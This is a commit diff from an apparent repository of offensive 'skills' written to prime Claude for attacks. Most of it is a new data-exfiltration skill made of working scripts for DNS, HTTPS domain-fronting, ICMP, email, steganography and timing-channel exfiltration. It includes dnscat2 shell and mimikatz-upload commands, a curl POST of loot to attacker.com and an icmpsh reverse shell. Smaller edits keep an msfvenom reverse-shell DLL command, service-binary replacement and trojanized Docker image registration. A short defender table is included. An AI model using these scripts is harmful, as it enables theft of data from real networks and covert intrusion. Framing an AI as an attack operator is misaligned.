claude-red is a curated library of offensive security skills designed for the Claude skills system. Each skill is a structured SKILL.md file that primes Claude with expert-level methodology for a specific attack surface — from SQLi to shellcode, EDR evasion to exploit development.
Add data-exfiltration skill + minor agent refinements
Claude900e4c2289a8
diff --git a/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md b/Skills/post-exploitation/offensive-data-exfiltration/SKILL.mdnew file mode 100644index 0000000..5a3e435--- /dev/null+++ b/Skills/post-exploitation/offensive-data-exfiltration/SKILL.md@@ -0,0 +1,702 @@+---+name: offensive-data-exfiltration+description: "Comprehensive data exfiltration tradecraft for authorized red team engagements covering covert channel techniques and data staging. DNS exfiltration via dnscat2, iodine, and custom TXT/CNAME tunneling constructs label-encoded data into DNS queries that traverse firewalls permitting UDP/53. HTTPS tunneling through stunnel, domain fronting, and CDN abuse hides exfiltration in legitimate TLS traffic. ICMP tunneling with icmpsh and ptunnel embeds data in echo request/reply payloads. Cloud storage dead drops leverage pre-signed URLs on S3, Azure Blob, and GCS to stage data through trusted cloud endpoints. Email-based exfiltration routes data through SMTP/IMAP channels. Steganography techniques embed data in image, audio, and document files using LSB encoding and metadata injection. Covers data staging, compression, encryption, chunking strategies, encoding schemes (base64, hex, custom alphabets), and covert timing channels. Physical vectors include USB dead drops and QR code exfiltration for air-gapped environments. Tools: dnscat2, iodine, PacketWhisper, chisel, stunnel. Maps to MITRE ATT&CK T1048 (Exfiltration Over Alternative Protocol), T1041 (Exfiltration Over C2 Channel), T1567 (Exfiltration Over Web Service), and sub-techniques. Includes detection indicators and a rapid engagement cheatsheet."+---++# Offensive Data Exfiltration++Data exfiltration is the final objective of many engagements -- extracting+target data to prove impact and demonstrate what an adversary could steal.+You move data from the compromised environment to attacker-controlled+infrastructure using channels that bypass network security controls. The+choice of exfiltration method depends on what egress protocols the network+permits, what DLP controls are in place, the volume of data, and the stealth+requirements of the engagement.++This skill covers DNS tunneling, HTTPS tunneling, ICMP tunneling, cloud+storage abuse, email exfiltration, steganography, data staging techniques,+and physical exfiltration vectors. Apply these in authorized engagements only.++## Quick Workflow++1. Identify permitted egress protocols (DNS, HTTPS, ICMP, SMTP).+2. Stage target data -- compress, encrypt, and chunk it.+3. Select an exfiltration channel matching available egress.+4. Test the channel with small benign data before moving real payloads.+5. Throttle transfer rate to avoid volumetric detection.+6. Validate data integrity on receipt (checksums).+7. Document the exfiltration path and volume for your engagement report.++---++## Data Staging and Preparation++Before exfiltrating, you prepare the data to minimize transfer volume, avoid+content inspection, and ensure integrity. Always encrypt exfiltrated data --+you are responsible for protecting it during the engagement.++### Compression and Archiving++```bash+# Compress and archive target files+tar czf /tmp/.cache/loot.tar.gz /path/to/sensitive/data/++# Split into chunks for protocols with size constraints (DNS, ICMP)+split -b 64k /tmp/.cache/loot.tar.gz /tmp/.cache/chunk_++# On Windows+powershell Compress-Archive -Path C:\Users\target\Documents\* -DestinationPath C:\Users\Public\data.zip+```++### Encryption++```bash+# Encrypt with AES-256 before exfiltration+openssl enc -aes-256-cbc -salt -pbkdf2 -in loot.tar.gz -out loot.enc -k "engagement_key_2024"++# GPG encryption (asymmetric)+gpg --recipient operator@redteam --encrypt loot.tar.gz++# On Windows with PowerShell+$key = [System.Text.Encoding]::UTF8.GetBytes("32ByteKeyHere12345678901234")+$aes = [System.Security.Cryptography.Aes]::Create()+# ... standard .NET AES encryption flow+```++### Encoding for Protocol Constraints++```bash+# Base64 encode for protocols that require printable characters+base64 loot.enc > loot.b64++# Hex encode for DNS label-safe encoding+xxd -p loot.enc > loot.hex++# Base32 encode (DNS-safe, no special characters)+python3 -c "import base64; data=open('loot.enc','rb').read(); print(base64.b32encode(data).decode())" > loot.b32+```++```python+# Custom encoding for DNS labels (max 63 chars per label, 253 total)+import base64++def encode_for_dns(data, domain, chunk_size=60):+ """Encode binary data into DNS-safe queries."""+ encoded = base64.b32encode(data).decode().rstrip('=').lower()+ queries = []+ for i in range(0, len(encoded), chunk_size):+ chunk = encoded[i:i+chunk_size]+ query = f"{chunk}.{domain}"+ queries.append(query)+ return queries+```++---++## DNS Exfiltration++DNS is the most reliable exfiltration channel because nearly every network+permits outbound DNS queries. You encode data into DNS query labels or TXT+record responses, routing it through a DNS server you control.++### dnscat2++dnscat2 creates a command-and-control channel over DNS with built-in file+transfer, port forwarding, and interactive shell capabilities.++```bash+# On your authoritative DNS server (attacker infrastructure)+# Set up NS records: exfil.yourdomain.com -> your_server_ip+dnscat2-server exfil.yourdomain.com++# On the compromised host+./dnscat2 exfil.yourdomain.com++# In the dnscat2 server console+windows # List active sessions+window -i 1 # Interact with session 1+download C:\Users\admin\Documents\secrets.docx /tmp/loot/secrets.docx+upload /tmp/tools/mimikatz.exe C:\Users\Public\m.exe+shell # Get an interactive shell+```++```bash+# dnscat2 with encryption and custom options+dnscat2 --dns "domain=exfil.yourdomain.com,type=TXT" --secret=shared_key_here++# Limit query types to evade detection+dnscat2 --dns "domain=exfil.yourdomain.com,type=CNAME"+dnscat2 --dns "domain=exfil.yourdomain.com,type=MX"+```++### iodine++iodine creates a full IP tunnel over DNS, giving you a virtual network+interface through DNS queries. Higher throughput than dnscat2 but noisier.++```bash+# On your DNS server (set up NS delegation first)+iodined -f -c -P strongpassword 10.0.0.1/24 exfil.yourdomain.com++# On the compromised host+iodine -f -P strongpassword exfil.yourdomain.com++# This creates a dns0 interface with a 10.0.0.x address+# You can now tunnel any TCP/UDP traffic through it+scp -o "ProxyCommand nc -X 5 -x 127.0.0.1:1080 %h %p" loot.enc [email protected]:/tmp/loot/+```++### Custom DNS Tunneling++```bash+# Manual TXT record exfiltration with dig+# Encode data chunks as subdomain labels+for chunk in $(cat loot.hex | fold -w 60); do+ dig +short ${chunk}.data.exfil.yourdomain.com TXT @8.8.8.8+ sleep $(( RANDOM % 5 + 2 )) # Jitter to avoid detection+done+```++```python+# Python DNS exfiltration script with jitter+import dns.resolver+import base64+import time+import random++def exfil_dns(filepath, domain, delay_range=(1, 5)):+ """Exfiltrate a file via DNS queries with timing jitter."""+ with open(filepath, 'rb') as f:+ data = f.read()++ encoded = base64.b32encode(data).decode().rstrip('=').lower()+ chunk_size = 60 # Max DNS label length is 63++ seq = 0+ for i in range(0, len(encoded), chunk_size):+ chunk = encoded[i:i+chunk_size]+ query = f"{seq:04d}.{chunk}.d.{domain}"+ try:+ dns.resolver.resolve(query, 'A')+ except Exception:+ pass # Response does not matter; data is in the query+ seq += 1+ time.sleep(random.uniform(*delay_range))++ # Send completion signal+ dns.resolver.resolve(f"done.{seq:04d}.d.{domain}", 'A')+```++### PacketWhisper++PacketWhisper uses DNS queries to exfiltrate data without requiring you to+own a DNS server. It encodes data as queries for random-looking domains and+captures them from a PCAP on the network path.++```bash+# On the compromised host -- generate DNS queries+python3 packetwhisper.py --mode transmit --file loot.enc --cipher_num 1++# On the capture point -- extract data from PCAP+python3 packetwhisper.py --mode receive --pcap capture.pcap --cipher_num 1+```++OPSEC note: DNS exfiltration is detectable by monitoring query volume, label+entropy, query frequency to uncommon domains, and TXT record sizes. Rate-limit+your queries and add realistic jitter. Use CNAME or A record types instead+of TXT where possible, as TXT queries to uncommon domains are a known indicator.++---++## HTTPS Tunneling and Domain Fronting++HTTPS exfiltration blends with normal web traffic. Domain fronting routes+your traffic through a legitimate CDN so the visible SNI and Host header+point to a trusted domain.++### stunnel++```bash+# On your attack server -- stunnel listener+cat << 'EOF' > /etc/stunnel/exfil.conf+[exfil]+accept = 443+connect = 127.0.0.1:8080+cert = /etc/stunnel/server.pem+EOF+stunnel /etc/stunnel/exfil.conf++# On the compromised host -- tunnel traffic through TLS+# stunnel client configuration+cat << 'EOF' > stunnel-client.conf+[exfil]+client = yes+accept = 127.0.0.1:9090+connect = attacker.com:443+EOF+stunnel stunnel-client.conf++# Now send data through the tunnel+curl -X POST -d @loot.enc http://127.0.0.1:9090/upload+```++### Domain Fronting++```bash+# Domain fronting through a CDN+# The TLS SNI shows "legitimate-site.cdn.com"+# The HTTP Host header carries your actual C2 domain+curl -H "Host: exfil.yourdomain.com" https://legitimate-site.cdn.com/upload \+ -X POST --data-binary @loot.enc++# Using a cloud function as a redirector+# Deploy a simple function on a cloud provider that forwards to your server+# Traffic appears as legitimate cloud API calls+```++```python+# HTTPS exfiltration with chunked transfer and domain fronting+import requests+import os++def exfil_https(filepath, fronting_domain, real_host, chunk_size=1048576):+ """Exfiltrate via HTTPS with domain fronting."""+ file_size = os.path.getsize(filepath)+ session = requests.Session()++ with open(filepath, 'rb') as f:+ chunk_num = 0+ while True:+ chunk = f.read(chunk_size)+ if not chunk:+ break+ headers = {+ 'Host': real_host,+ 'Content-Type': 'application/octet-stream',+ 'X-Request-ID': f'{chunk_num:06d}',+ 'X-Total-Size': str(file_size),+ }+ session.post(+ f'https://{fronting_domain}/api/telemetry',+ data=chunk,+ headers=headers,+ verify=True+ )+ chunk_num += 1+```++### Cloud Storage Dead Drops++```bash+# Generate a pre-signed S3 upload URL on your account+aws s3 presign s3://exfil-bucket/drop/loot.enc --expires-in 3600++# On the compromised host -- upload using the pre-signed URL (no AWS CLI needed)+curl -X PUT -T loot.enc "https://exfil-bucket.s3.amazonaws.com/drop/loot.enc?X-Amz-Algorithm=AWS4-HMAC-SHA256&..."++# Azure Blob Storage with SAS token+curl -X PUT -H "x-ms-blob-type: BlockBlob" --data-binary @loot.enc \+ "https://exfilstore.blob.core.windows.net/drop/loot.enc?sv=2021-06-08&ss=b&srt=o&sp=w&se=..."++# Google Cloud Storage signed URL+curl -X PUT -T loot.enc "https://storage.googleapis.com/exfil-bucket/loot.enc?X-Goog-Signature=..."+```++OPSEC note: Pre-signed URLs require no credentials on the compromised host.+Traffic appears as legitimate HTTPS to major cloud providers. DLP systems+inspecting TLS content (with TLS interception) can still detect the data.++---++## ICMP Tunneling++ICMP tunneling embeds data in ping packets. Many networks allow ICMP echo+even when other outbound protocols are restricted.++### icmpsh++```bash+# On your attack box -- disable kernel ICMP replies and start listener+sysctl -w net.ipv4.icmp_echo_ignore_all=1+python3 icmpsh_m.py <ATTACK_IP> <TARGET_IP>++# On the compromised Windows host+icmpsh.exe -t <ATTACK_IP>++# This gives you a reverse shell over ICMP+# Exfiltrate by piping data through the shell+type C:\Users\admin\secrets.txt+```++### ptunnel / ptunnel-ng++```bash+# On your attack box (proxy server)+ptunnel-ng -r<ATTACK_IP> -R22++# On the compromised host (client)+ptunnel-ng -p<ATTACK_IP> -l2222 -r<ATTACK_IP> -R22++# Now SSH through the ICMP tunnel+ssh -p 2222 [email protected]++# Transfer files through the SSH-over-ICMP tunnel+scp -P 2222 loot.enc [email protected]:/tmp/loot/+```++### Custom ICMP Exfiltration++```python+# Manual ICMP data exfiltration using scapy+from scapy.all import IP, ICMP, Raw, send+import time+import random++def exfil_icmp(filepath, target_ip, chunk_size=32, delay_range=(0.5, 2.0)):+ """Exfiltrate data in ICMP echo request payloads."""+ with open(filepath, 'rb') as f:+ data = f.read()++ seq = 0+ for i in range(0, len(data), chunk_size):+ chunk = data[i:i+chunk_size]+ # Prefix with sequence number for reassembly+ payload = seq.to_bytes(4, 'big') + chunk+ pkt = IP(dst=target_ip) / ICMP(type=8, id=0x1337, seq=seq) / Raw(load=payload)+ send(pkt, verbose=False)+ seq += 1+ time.sleep(random.uniform(*delay_range))++ # Send completion marker+ end_payload = seq.to_bytes(4, 'big') + b'EXFIL_DONE'+ send(IP(dst=target_ip) / ICMP(type=8, id=0x1337, seq=seq) / Raw(load=end_payload), verbose=False)+```++OPSEC note: Large or frequent ICMP packets are anomalous. Keep payload sizes+small (under 64 bytes per packet) and add realistic jitter. Some IDS/IPS+inspect ICMP payload content for non-standard data.++---++## Email-Based Exfiltration++Email exfiltration leverages existing SMTP/IMAP infrastructure. It blends+with normal email traffic and can bypass network controls that allow+outbound mail.++```bash+# Send exfiltrated data as an email attachment via command line+# Using sendmail or mail command+cat loot.enc | base64 | mail -s "Q3 Report" [email protected]++# Using PowerShell on Windows+$msg = New-Object System.Net.Mail.MailMessage+$msg.From = "[email protected]"+$msg.To.Add("[email protected]")+$msg.Subject = "Monthly Report"+$msg.Attachments.Add("C:\Users\Public\data.zip")+$smtp = New-Object System.Net.Mail.SmtpClient("mail.corp.local")+$smtp.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials+$smtp.Send($msg)+```++```python+# SMTP exfiltration with chunked attachments+import smtplib+from email.mime.multipart import MIMEMultipart+from email.mime.base import MIMEBase+from email import encoders+import os++def exfil_email(filepath, smtp_server, from_addr, to_addr, max_attach_mb=5):+ """Exfiltrate data as email attachments, chunked if needed."""+ file_size = os.path.getsize(filepath)+ chunk_size = max_attach_mb * 1024 * 1024++ with open(filepath, 'rb') as f:+ part_num = 0+ while True:+ chunk = f.read(chunk_size)+ if not chunk:+ break++ msg = MIMEMultipart()+ msg['From'] = from_addr+ msg['To'] = to_addr+ msg['Subject'] = f'Monthly Analytics Report Part {part_num + 1}'++ attachment = MIMEBase('application', 'octet-stream')+ attachment.set_payload(chunk)+ encoders.encode_base64(attachment)+ attachment.add_header('Content-Disposition', f'attachment; filename="report_p{part_num}.dat"')+ msg.attach(attachment)++ with smtplib.SMTP(smtp_server) as server:+ server.send_message(msg)+ part_num += 1+```++OPSEC note: DLP systems commonly inspect outbound email for sensitive data+patterns (SSNs, credit card numbers, keywords). Encrypt data before+attaching. Large or numerous attachments trigger volumetric alerts.++---++## Steganography++Steganography hides data within innocent-looking files -- images, audio,+documents. Useful when you need to exfiltrate through channels with content+inspection.++```bash+# LSB steganography with steghide (JPEG/BMP/WAV/AU)+steghide embed -cf cover_image.jpg -ef loot.enc -p "passphrase" -f+steghide extract -sf cover_image.jpg -p "passphrase"++# Using zsteg for PNG (LSB encoding)+# Embed data in the least significant bits of pixel values+python3 -c "+from PIL import Image+import struct++def embed_lsb(cover_path, data, output_path):+ img = Image.open(cover_path)+ pixels = list(img.getdata())+ bits = ''.join(format(b, '08b') for b in data)+ bits += '0' * (len(pixels) * 3 - len(bits)) # Pad++ new_pixels = []+ bit_idx = 0+ for pixel in pixels:+ new_pixel = []+ for channel in pixel[:3]:+ if bit_idx < len(bits):+ new_pixel.append((channel & 0xFE) | int(bits[bit_idx]))+ bit_idx += 1+ else:+ new_pixel.append(channel)+ if len(pixel) == 4:+ new_pixel.append(pixel[3])+ new_pixels.append(tuple(new_pixel))++ img.putdata(new_pixels)+ img.save(output_path)++data = open('loot.enc', 'rb').read()+embed_lsb('cover.png', data, 'innocent.png')+"+```++```bash+# Embed data in image EXIF metadata+exiftool -Comment="$(base64 loot.enc)" cover_image.jpg++# Embed in document metadata+exiftool -Author="$(base64 loot.enc | head -c 65000)" document.pdf++# Append data after JPEG end-of-image marker+cat cover_image.jpg loot.enc > output.jpg+# The image renders normally; data is appended after FFD9 marker+```++```powershell+# Alternate Data Streams (Windows NTFS only, does not survive copy to non-NTFS)+# Hide data in an ADS+cmd /c "type loot.enc > C:\Users\Public\report.docx:hidden"+# Extract+cmd /c "more < C:\Users\Public\report.docx:hidden > C:\Users\Public\extracted.enc"+```++---++## Covert Channels and Timing-Based Exfiltration++When all standard protocols are monitored, you use side channels that encode+data in timing patterns or protocol fields not normally inspected.++```python+# Timing-based covert channel: encode bits as inter-packet delays+import time+import socket++def exfil_timing(data, target_ip, target_port, bit_0_delay=0.1, bit_1_delay=0.5):+ """Encode data in TCP connection timing intervals."""+ bits = ''.join(format(b, '08b') for b in data)++ for bit in bits:+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)+ sock.settimeout(2)+ try:+ sock.connect((target_ip, target_port))+ except Exception:+ pass+ finally:+ sock.close()++ if bit == '0':+ time.sleep(bit_0_delay)+ else:+ time.sleep(bit_1_delay)+```++```python+# Encode data in TCP/IP header fields+from scapy.all import IP, TCP, send++def exfil_ipid(data, target_ip, target_port):+ """Encode bytes in IP Identification field."""+ for byte in data:+ pkt = IP(dst=target_ip, id=byte) / TCP(dport=target_port, flags='S')+ send(pkt, verbose=False)++def exfil_tcp_seq(data, target_ip, target_port):+ """Encode 4 bytes at a time in TCP sequence numbers."""+ for i in range(0, len(data), 4):+ chunk = data[i:i+4].ljust(4, b'\x00')+ seq_num = int.from_bytes(chunk, 'big')+ pkt = IP(dst=target_ip) / TCP(dport=target_port, seq=seq_num, flags='S')+ send(pkt, verbose=False)+```++OPSEC note: Timing channels are extremely slow (bits per second) but nearly+impossible to detect without specialized analysis. Use them only when no+other channel is available and data volume is small (passwords, keys).++---++## Physical Exfiltration++For air-gapped networks or environments with extreme network monitoring,+physical methods bypass all network-based controls.++```bash+# USB dead drop -- prepare an encrypted USB drive+# On your prep machine+cryptsetup luksFormat /dev/sdb1+cryptsetup open /dev/sdb1 exfil+mkfs.ext4 /dev/mapper/exfil+mount /dev/mapper/exfil /mnt/usb++# On the target -- copy data to USB+cp -r /path/to/sensitive/data /media/usb/+sync+umount /media/usb++# QR code exfiltration (for small data like keys/passwords)+# Generate QR codes from data, photograph them with a phone+qrencode -o qr_output.png -s 6 "$(cat ssh_key | base64)"++# For larger data, generate multiple QR codes+split -b 2000 loot.b64 qr_chunk_+for f in qr_chunk_*; do+ qrencode -o "${f}.png" -s 4 "$(cat $f)"+done+# Photograph the QR codes with a mobile device camera+```++```python+# QR code generation for data exfiltration+import qrcode+import base64+import os++def generate_qr_exfil(filepath, output_dir, max_bytes=2000):+ """Generate a series of QR codes encoding a file."""+ with open(filepath, 'rb') as f:+ data = f.read()++ encoded = base64.b64encode(data).decode()+ os.makedirs(output_dir, exist_ok=True)++ total_chunks = (len(encoded) + max_bytes - 1) // max_bytes+ for i in range(0, len(encoded), max_bytes):+ chunk_num = i // max_bytes+ chunk = encoded[i:i+max_bytes]+ # Include metadata for reassembly+ payload = f"{chunk_num}:{total_chunks}:{chunk}"+ qr = qrcode.make(payload)+ qr.save(os.path.join(output_dir, f"qr_{chunk_num:04d}.png"))+```++OPSEC note: Physical exfiltration requires physical access and carries the+risk of discovery by personnel. USB usage may be logged by endpoint DLP+agents (event 6416 on Windows for PnP device connection). QR code+exfiltration is limited to small data volumes but leaves no digital trail.++---++## Detection / Defender View++| Technique | Primary Detection | Key Indicators |+|-----------|------------------|----------------|+| DNS tunneling | DNS query analysis | High query volume, long labels, high entropy, TXT to uncommon domains |+| dnscat2 | DNS payload inspection | CNAME/TXT responses with encoded data, consistent query patterns |+| iodine | DNS anomaly detection | NULL record queries, large DNS packets, tunnel negotiation patterns |+| HTTPS tunneling | TLS inspection, netflow | Sustained connections, high upload volume to uncommon hosts |+| Domain fronting | TLS inspection | SNI/Host header mismatch (requires TLS interception) |+| Cloud dead drops | CASB, proxy logs | PUT/POST to cloud storage from unexpected hosts |+| ICMP tunneling | ICMP payload analysis | Non-standard payload sizes, high ICMP frequency, data in payloads |+| Email exfil | DLP, mail gateway | Large or encrypted attachments, unusual recipients |+| Steganography | Statistical analysis | LSB anomalies, appended data after file markers, large EXIF fields |+| Timing channels | Statistical traffic analysis | Unusual inter-packet delay distributions |+| USB exfil | Endpoint DLP | PnP device events (6416), USB write activity |++Key defender controls:+- **DNS monitoring** (passive DNS, query logging) detects most DNS tunneling by volume, entropy, and domain reputation.+- **TLS inspection** proxies break domain fronting and enable content inspection of HTTPS traffic.+- **DLP systems** inspect outbound data for sensitive patterns at the network, email, and endpoint levels.+- **CASB** (Cloud Access Security Broker) monitors and controls cloud service usage.+- **Endpoint DLP agents** log USB writes, clipboard activity, and print operations.+- **Network flow analysis** detects sustained or volumetric anomalies in any protocol.+- **Sysmon** with network connection logging (event 3) captures outbound connections to unusual destinations.+- **YARA rules** on egress proxies detect known tool signatures in transit.++---++## Engagement Cheatsheet++```text+SCENARIO TECHNIQUE TOOL / COMMAND+------------------------------- -------------------------- ----------------------------------------+DNS egress allowed DNS tunnel (full) dnscat2 / iodine+DNS only, no infra control DNS query encoding PacketWhisper / custom dig loop+HTTPS egress allowed HTTPS upload curl POST / Python requests+HTTPS with domain filtering Domain fronting curl -H "Host: real.c2" https://cdn.com+Cloud endpoints whitelisted Cloud dead drop Pre-signed S3/Azure/GCS URLs+SMTP egress allowed Email attachment mail / PowerShell Send-MailMessage+Only ICMP allowed ICMP tunnel ptunnel-ng / icmpsh+Content inspection active Steganography steghide / LSB encoding / EXIF embed+Extreme monitoring, small data Timing channel Custom inter-packet delay encoding+Air-gapped network Physical USB dead drop / QR codes+Need reliable IP tunnel DNS IP tunnel iodine (creates tun interface)+Large volume, speed needed HTTPS chunked upload Python chunked POST with jitter+Credential/key only (small) QR code qrencode + camera+Need to blend with traffic Encrypted cloud upload AES + pre-signed URL to major cloud+```++MITRE ATT&CK references:+- T1048 -- Exfiltration Over Alternative Protocol (.001 Symmetric Encrypted, .002 Asymmetric Encrypted, .003 Unencrypted)+- T1041 -- Exfiltration Over C2 Channel+- T1567 -- Exfiltration Over Web Service (.002 Exfiltration to Cloud Storage)+- T1071 -- Application Layer Protocol (.001 Web, .004 DNS)+- T1572 -- Protocol Tunneling+- T1029 -- Scheduled Transfer+- T1030 -- Data Transfer Size Limits+- T1560 -- Archive Collected Data (.001 Archive via Utility)+- T1052 -- Exfiltration Over Physical Medium (.001 USB)+- T1001 -- Data Obfuscation (.001 Junk Data, .002 Steganography, .003 Protocol Impersonation)++---++## Key References++- dnscat2: https://github.com/iagox86/dnscat2+- iodine: https://github.com/yarrick/iodine+- PacketWhisper: https://github.com/TryCatchHCF/PacketWhisper+- icmpsh: https://github.com/bdamele/icmpsh+- ptunnel-ng: https://github.com/utoni/ptunnel-ng+- steghide: https://steghide.sourceforge.net/+- chisel: https://github.com/jpillora/chisel+- MITRE ATT&CK Exfiltration: https://attack.mitre.org/tactics/TA0010/+- SANS -- Data Exfiltration Techniques: https://www.sans.org/white-papers/+- The Hacker Recipes -- Exfiltration: https://www.thehacker.recipes/diff --git a/Skills/post-exploitation/offensive-persistence/SKILL.md b/Skills/post-exploitation/offensive-persistence/SKILL.mdindex b55fcca..462ebde 100644--- a/Skills/post-exploitation/offensive-persistence/SKILL.md+++ b/Skills/post-exploitation/offensive-persistence/SKILL.md@@ -145,15 +145,9 @@ Set-WmiInstance -Namespace "root\subscription" -Class "__FilterToConsumerBinding}```-Enumerate existing WMI subscriptions (useful for discovery and cleanup):+Cleanup -- remove all three components during engagement close:```powershell-# List all permanent event subscriptions-Get-WmiObject -Namespace "root\subscription" -Class "__EventFilter"-Get-WmiObject -Namespace "root\subscription" -Class "CommandLineEventConsumer"-Get-WmiObject -Namespace "root\subscription" -Class "__FilterToConsumerBinding"--# Remove a specific subscriptionGet-WmiObject -Namespace "root\subscription" -Class "__EventFilter" -Filter "Name='CoreTelemetryFilter'" | Remove-WmiObjectGet-WmiObject -Namespace "root\subscription" -Class "CommandLineEventConsumer" -Filter "Name='CoreTelemetryConsumer'" | Remove-WmiObjectGet-WmiObject -Namespace "root\subscription" -Class "__FilterToConsumerBinding" | Where-Object { $_.Filter -match "CoreTelemetryFilter" } | Remove-WmiObject@@ -174,25 +168,10 @@ When an application loads a DLL without specifying a full path, Windowssearches directories in a defined order. You place a malicious DLL in adirectory searched before the legitimate one.-```text-DLL search order (SafeDllSearchMode enabled):-1. Application directory-2. System directory (C:\Windows\System32)-3. 16-bit system directory-4. Windows directory-5. Current directory-6. PATH directories-```--```bash-# Find DLL hijacking opportunities with Process Monitor-# Filter: Result = NAME NOT FOUND, Path ends with .dll--# Common targets with hijackable DLLs:-# - notepad.exe loads wlanapi.dll from current directory-# - mspaint.exe loads various DLLs-# - Many third-party applications-```+Find hijackable DLLs with Process Monitor: filter on `Result = NAME NOT FOUND`+and `Path ends with .dll`. Applications loading DLLs without full paths search+the application directory before System32, so you place your DLL alongside the+binary.```c// Minimal proxy DLL template (forwards calls to legit DLL)@@ -371,16 +350,9 @@ chmod +x /etc/cron.hourly/health-check### At Jobs```bash-# Schedule a one-time execution+# Schedule a one-time execution (self-rescheduling for recurrence)echo "/opt/.cache/beacon.sh" | at now + 1 hour--# Recurring at job via self-rescheduling script-cat << 'EOF' > /opt/.cache/beacon.sh-#!/bin/bash-curl -s https://c2.example.com/beacon | bash-echo "/opt/.cache/beacon.sh" | at now + 30 minutes-EOF-chmod +x /opt/.cache/beacon.sh+# In beacon.sh, add: echo "/opt/.cache/beacon.sh" | at now + 30 minutes```### Systemd Timers and Servicesdiff --git a/Skills/privesc/offensive-windows-privesc/SKILL.md b/Skills/privesc/offensive-windows-privesc/SKILL.mdindex 8f2f665..ed3f0cf 100644--- a/Skills/privesc/offensive-windows-privesc/SKILL.md+++ b/Skills/privesc/offensive-windows-privesc/SKILL.md@@ -158,16 +158,11 @@ Invoke-ServiceAbuse -Name 'VulnService' -UserName 'hacker' -Password 'Password12### Writable Service Binaries```powershell-# Check if the service binary is writable+# Check if the service binary is writable, then replace iticacls "C:\Program Files\Service\binary.exe"--# If writable, replace itmove "C:\Program Files\Service\binary.exe" "C:\Program Files\Service\binary.exe.bak"copy C:\Users\Public\payload.exe "C:\Program Files\Service\binary.exe"--# Restart the service-sc stop "ServiceName"-sc start "ServiceName"+sc stop "ServiceName" && sc start "ServiceName"# Using PowerUpGet-ModifiableServiceFile@@ -232,18 +227,9 @@ $env:PATH -split ';' | ForEach-Object {### Phantom DLL Hijacking```powershell-# Some services try to load DLLs that do not exist on the system-# Use procmon to identify these "phantom" DLL loads--# Common phantom DLLs:-# wlbsctrl.dll - loaded by IKEEXT service-# wbemcomn.dll - loaded by various WMI processes-# fveapi.dll - loaded by some services on non-Enterprise editions--# Create malicious DLL-# msfvenom -p windows/x64/shell_reverse_tcp LHOST=attacker_ip LPORT=4444 -f dll -o wlbsctrl.dll--# Place in writable PATH directory or application directory+# Some services load DLLs that do not exist -- use procmon to identify these.+# Common phantom DLLs: wlbsctrl.dll (IKEEXT), wbemcomn.dll (WMI), fveapi.dll+# Generate: msfvenom -p windows/x64/shell_reverse_tcp LHOST=x LPORT=4444 -f dll -o wlbsctrl.dllcopy wlbsctrl.dll C:\writable\path\directory\```diff --git a/Skills/supply-chain/offensive-dependency-confusion/SKILL.md b/Skills/supply-chain/offensive-dependency-confusion/SKILL.mdindex 2f0d3c1..3352d59 100644--- a/Skills/supply-chain/offensive-dependency-confusion/SKILL.md+++ b/Skills/supply-chain/offensive-dependency-confusion/SKILL.md@@ -101,29 +101,19 @@ curl -s https://target.example.com/ | \### Error Messages and Stack Traces-Application errors frequently leak internal package names in stack traces,-module resolution failures, and debug output.+Application errors leak internal package names in stack traces and module+resolution failures. Trigger 404 pages, API errors, and debug endpoints.```bash-# Trigger error pages and parse for module names-# 404 pages, API error responses, and debug endpointscurl -s https://target.example.com/nonexistent 2>&1 | \grep -oP 'Cannot find module .?\K[a-zA-Z@][a-zA-Z0-9_.-/]+'--# Search for cached error pages in web archives-# Wayback Machine and Google cache-curl -s "https://web.archive.org/web/*/https://target.example.com/*" | \- grep -oP 'Error.*module.*?[a-zA-Z@][a-zA-Z0-9_.-]+'+# Also search Wayback Machine for cached error pages with module names```### GitHub Repository Mining-Public and accidentally-public repositories are rich sources of internal-package names.-```bash-# Search GitHub for the organization's package.json files-# GitHub code search for internal registry references+# Search GitHub for the organization's package manifests and registry configsgh api search/code \-X GET \-f q='org:targetcorp filename:package.json registry.corp' \@@ -337,27 +327,21 @@ NuGet resolves packages from configured feeds in the order they are listed,but selects the highest version found across all feeds.```xml-<!-- Vulnerable NuGet.config -->+<!-- Vulnerable: both feeds active, highest version wins across all --><configuration><packageSources><add key="nuget.org" value="https://api.nuget.org/v3/index.json" /><add key="internal" value="https://nuget.corp.example.com/v3/index.json" /></packageSources></configuration>-```-```xml-<!-- Hardened NuGet.config (for remediation reporting) -->+<!-- Hardened: clear + packageSourceMapping (for remediation reporting) --><configuration>- <packageSources>- <clear />+ <packageSources><clear /><add key="internal" value="https://nuget.corp.example.com/v3/index.json" /></packageSources><packageSourceMapping>- <packageSource key="internal">- <package pattern="Corp.*" />- <package pattern="Internal.*" />- </packageSource>+ <packageSource key="internal"><package pattern="Corp.*" /></packageSource></packageSourceMapping></configuration>```@@ -488,30 +472,22 @@ File.write("Makefile", "all:\n\ttrue\ninstall:\n\ttrue\n")### Docker Image Tag Confusion-```bash-# Unqualified image names resolve to Docker Hub-# If a Dockerfile or docker-compose.yml uses:-# image: targetcorp/backend-# This resolves to docker.io/targetcorp/backend+Unqualified image names (e.g. `targetcorp/backend`) resolve to Docker Hub.+If the Docker Hub namespace is unclaimed, you register it and push a+trojanized image that targets pull automatically.+```bash# Check if the Docker Hub namespace is available-curl -s "https://hub.docker.com/v2/repositories/targetcorp/" | \- jq '.detail // .count'--# If the namespace is unclaimed, register it and push a trojanized image-# The target's docker pull resolves to your image+curl -s "https://hub.docker.com/v2/repositories/targetcorp/" | jq '.detail // .count'``````yaml-# docker-compose.yml showing the vulnerability+# Vulnerable docker-compose.yml -- unqualified names resolve to Docker Hubservices:backend:- image: targetcorp/backend:latest # resolves to Docker Hub- # Should be: image: registry.corp.example.com/targetcorp/backend:latest-+ image: targetcorp/backend:latest # should be registry.corp.example.com/...frontend:- image: targetcorp/frontend:v2.1 # mutable tag, replaceable- # Should be: image: registry.corp.example.com/targetcorp/frontend@sha256:abc123...+ image: targetcorp/frontend:v2.1 # mutable tag; should use @sha256:... digest```---@@ -570,24 +546,16 @@ remediation guidance in your engagement reports.| Ruby | Default gem sources | `source` block with private gem server || Docker | Unqualified image names | FQDN registry prefix + digest pinning |-**Detection signals:**--1. Unexpected outbound DNS/HTTP during `npm install`, `pip install`, or `dotnet restore`.-2. Lock file changes referencing public registries for known-internal packages.-3. Version jumps to implausibly high numbers (999.x, 9999.x) in dependency trees.-4. New packages appearing in build logs that were not present in prior builds.-5. Package install scripts executing network calls during CI/CD builds.+**Detection signals**: unexpected outbound 